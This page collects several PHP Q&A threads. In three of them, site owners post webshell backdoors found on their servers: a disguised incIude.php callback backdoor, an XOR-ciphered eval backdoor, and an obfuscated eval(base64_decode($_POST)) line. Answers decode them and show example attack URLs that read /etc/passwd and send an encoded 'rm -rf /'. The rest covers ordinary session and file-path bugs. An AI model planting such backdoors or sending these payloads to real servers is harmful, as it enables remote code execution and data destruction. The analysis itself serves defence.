I received a message from Siteground today with the subject "Vulnerable software detected on your account". (I love me some Siteground; no problem with their detection.)
When I investigate the files they found, there is a PHP file that exists in a few of my add on domains. It is incIude.php with a capital "i" in the "l" position. Even on this site, it looks the same as when properly spelled, because of the font. Obviously fishy. But curiously, the file is dated back in 2013. Any search I attempt comes back with links to typo-corrected files. It's the typo that is critical.
Anyway, here is the code in that file:
<?php #array_diff_ukey(#array((string)$_REQUEST['password']=>1),#array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); ?>
Obviously, I'm at work cleaning this up. I'm just curious as to whether any of your subscribers can tell me more about this particular exploit.
It seems this is a simple backdoor script for RCE (Remote Code Execution). Re-formatting the script:
#array_diff_ukey(
#array(
(string)$_REQUEST['password'] => 1
),
#array(
(string)stripslashes($_REQUEST['re_password']) => 2
),
$_REQUEST['login']
);
Everything is prefixed with # to make sure no errors, exceptions, or warnings are issued. This would give away the backdoor script.
The important vulnerability here is that the last argument of array_diff_ukey is a callback function. Per usual in PHP this can be an anonymous function, function variable, or a string.
So the attack is:
include the script somewhere, somehow (innocent git commit? small change by an insider? temporary write access to the codebase?); in particular a login / registration endpoint that would include login and register in the form fields, but anywhere works (since the request can still include login and register parameters)
send a request like ?login=system&password=ls
the function specified as login gets called with keys from either array, i.e. from password and re_password; in the example the function would be system("ls", NULL)
profit! (RCE)
The stealthiness comes from:
an innocent looking filename, normally indistinguishable from "include"
no errors thrown
executed on login attempts which might be part of regular requests and not logged properly
It calls an arbitrary function named with the login query parameter that accepts up to two parameters, with the first parameter being the value of the password field, and the second parameter being the value of the re_password field. For instance:
http://yoursite.com/incIude.php?login=system&password=cat%20%2fetc%2fpasswd
will print the contents of /etc/passwd.
Related
Some time ago, I developed a PHP script to send text messages, log sms usage, and so on. This is working fine.
Now I have modified it so that it may be included within another script via "include" or "require." Again it is working fine but I would like to make it operate slightly differently if "included" versus the command-line call. For example, if it's called from command line, then the parameters are in $argv, but if included in some function, we can assume certain necessary variables have already been set up, SQL connections are established, etc.
The point where I'm stuck, is trying to determine if this code is "include"d or is the main file. I know I can use get_included_files() to retrieve the necessary list. But at present (assuming my script is /path/myscript) the only test I know to use is something like:
$includes = get_included_files() ;
$isMainScript = ($includes[0] == '/path/myscript') ;
And therefore $isMainScript will be true if this was called from the command line. But clearly this is bad form; all one has to do to break it, is to rename the included script, or move it to some other directory. But I don't see any method of finding out the name of this file (/path/myscript) ... only the name of the main file (__FILE__ and its workalikes).
What do others do in order to determine if this script is a main script, or is subordinate to some other?
I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.
Can any one explain this code. I am having this code on the top of almost every php file. What is this code for. Thanks for your help.
Here is the code....
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
I've seen that code a number of times in different incarnations. It's a piece of injected code left by an attacker. If you break it down it almost always results in eval($var); where $var is an injected parameter (usually $_POST) that then is used to perform some sort of malicious act on your server. Bear in mind eval() will execute any linux command with the same permissions and authority of the user running Apache/PHP.
Breaking down your example
In your example you've given the following code:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
This is semi-obfuscated code but let's start to work through it. The first thing we need to do here is format it to start to understand it:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n642afe'])) {
eval($s21(${$s20}['n642afe']));
}
?>
We can see now that this is a relatively simple PHP script.
Line 1:
$sF="PCT4BA6ODSE_"; is just a variable with what seems like random rubbish in it.
Line 2:
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
This can be translated into: $s21 = "base64_decode"
Line 3:
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
As above, running strtoupper() on that string produces the result _POST.
Line 4:
The if statement here checks to see if ${s20}['n642afe'] is set. Well we know that $s20 evaluates to _POST and ${} type variables take the value as their variable name so this is really:
if(isset($_POST['n642afe'])){
Note: The n642afe part is a random parameter they've chosen so that you (or any other attacker!!!) tries to go to somefile.php?hack=yes it wouldn't work
Line 5:
The most dangerous part is here. Let's evaluate our variables in the same manner as above:
eval($s21(${$s20}['n642afe']));
The end result
eval(base64_decode($_POST['n642afe']));
If I were to send rm -rf / base64 encoded as post value for the parameter n642afe that would recursively delete everything. Unlikely it'd be able to do that without super user permissions but the point is - they'd have the same access rights as you do when you SSH to your server. Here's an example of what that'd look like:
http://example.com/infected.php?n642afe=cm0gLXJmIC8=
Translated, this becomes:
eval(base64_decode('cm0gLXJmIC8='));
And then again:
eval('rm -rf /');
My recommendation is - take the site offline immediately, update it, patch any
holes that are obvious and then make sure your server (and any other sites on there) are secure. Pay particular attention to file and folder permissions on your server. Note: this is a non-exhaustive list, there's so much more you can do to protect yourself.
If you simply delete this line you'll probably find one of two things will happen (or both):
The permissions on the "infected" file are different and the file is owned by a different user. You'll need to chmod/chown the file to get it back
The attackers will keep trying to get back in once they've been successful once. Simply removing the bad code is a good start but ask yourself this: "How did they get in in the first place?". With that in mind, please refer to my recommendation paragraph to begin to solve your issue.
Finding how they got in
To find where attackers 'got in' could be a game of cat and mouse, it's worth starting with the apache access logs though and searching for requests to your infected file with the parameter n642afe. You could also check your PHP logs to see what exactly was run and see what other holes they've opened.
I am using AJAX to store the first 4 digits of a credit card in $_SESSION["first4"] number during the onBlur event. I have a sample which works flawlessly. Then I take that good code and stick it a shopping cart we purchased from Clearcart (we now own the code). The issue is that the $_SESSION variable is always empty in the AJAX php receiver program. Here is the entirety of the program:
$sessionName = "ClearCart20UserSession";
if (isset($_REQUEST[$sessionName])) session_id($_REQUEST[$sessionName]);
$started = session_start();
$_SESSION["first4"] = isset($_GET["first4"])?$_GET["first4"]:"";
After that fourth line of code the following variables are dumped: (i.e. these are output values not assignment statements)
$started = 1
session_id=4f920c1fe5e2078d95f7700ece674659
$_REQUEST=Array
(
[first4] => 5554
[PHPSESSID] => 4f920c1fe5e2078d95f7700ece674659
[ClearCart20UserSession] => 4f920c1fe5e2078d95f7700ece674659
)
$_SESSION=Array
(
[first4] => 5554
)
$_SESSION in the calling program literally contains thousand of variables. Yet, here in the receiver it is empty except for the variable I set.
Notes:
1) That is the same session_id/PHPSESSID as in the calling program - I have dumped it. (When I say calling program I mean the php program which generated the html form; obviously the actual 'calling' program is the javascript in the browser)
2) The http type and domain are identical (both are https:). I have put the receiver ajax program in the same directory as the caller just to eliminate any cross-domain issues.
3) The session save path is /tmp and when I look in that folder the sess_4f920c1fe5e2078d95f7700ece674659 file exists. (Although it seems smaller than I would expect with thousands of variables).
4) When I go back a page in my browser and then forward to re-show formerly saved session variables (i.e. things like form input values) they still exist so the AJAX recipient is not clearing $_SESSION as the empty array might imply.
5) The shopping cart uses cookies and the cookie values are correctly reflected in $_REQUEST as expected.
6) I added session_write_close() to the end of the main/caller program to ensure the session file is not open. Should not matter as the caller php terminates and nothing happens till the javascript event fires AJAX.
7) FWIW session.upload_progress.enabled is on.
8) Curiously the shopping cart uses AJAX for its own purposes which I believe is working fine. Regardless, I don't see how that could impact me - its completely different AJAX called and received by different javascript and php respectively.
9) As mentioned above, this virtually identical code works in a test sample I developed where I even mimic using cookies.
10) I have read several dozen postings on this issue but none have fixed my problem. Most seem to be related to not using session_start or having the right session_id.
What else can I try?
Found the problem: the shopping cart software changed the session folder with this line of code:
session_save_path("tmpsession");
Hence, even though the session_id's were identical the session files were stored in two different folder locations (the AJAX file was in /tmp and the main calling program was using www/tmpsession).
I'm designing a web application that can be customized based on which retail location the end user is coming from. For example, if a user is coming from a store called Farmer's Market, there may be customized content or extra links available to that user, specific to that particular store. file_exists() is used to determine if there are any customized portions of the page that need to be imported.
Up until now, we've been using a relatively insecure method, in which the item ID# and the store are simply passed in as GET parameters, and the system knows to apply them to each of the links within the page. However, we're switching to a reversible hash method, in which the store and item number are encrypted (to look something like "gd651hd8h41dg0h81"), and the pages simply decode them and assign the store and ID variables.
Since then, however, we've been running into an error that Googling extensively hasn't found me an answer for. There are several similar blocks of code, but they all look something like this:
$buttons_first = "../stores/" . $store . "/buttons_first.php";
if(file_exists($buttons_first))
{
include($buttons_first);
}
(The /stores/ directory is actually in the directory above the working one, hence the ../)
Fairly straightforward. But despite working fine when a regular ID and store is passed in, using the encrypted ID throws this error for each one of those similar statements:
Warning: file_exists() expects parameter 1 to be a valid path, string given in [url removed] on line 11
I've had the script spit back the full URL, and it appears to be assigning $store correctly. I'm running PHP 5.4.11 on 1&1 hosting (because I know they have some abnormalities in the way their servers work), if that helps any.
I got the same error before but I don't know if this solution of mine works on your problem you need to remove the "\0" try replace it:
$cleaned = strval(str_replace("\0", "", $buttons_first));
it worked on my case.
Run a var_dump(strpos($buttons_first,"\0")), this warning could come up when a path has a null byte, for security reasons. If that doesn't work, check the length of the string and make sure it is what you'd expect, just in case there are other invisible bytes.
It may be a problem with the path as it depends where you are running the script from. It's safer to use absolute paths. To get the path to the directory in which the current script is executing, you can use dirname(__FILE__).
Add / before stores/, you are better off using absolute paths.
I know this post was created on 2013 but didn't saw the common solution.
This error occurs after adding multiple to the file submit form
for example you are using files like this on php: $_FILES['file']['tmp_name']
But after the adding multiple option to the form. Your input name became file => file[]
so even if you post just one file, $_FILES['file']['tmp_name'] should be change to $_FILES['file']['tmp_name'][0]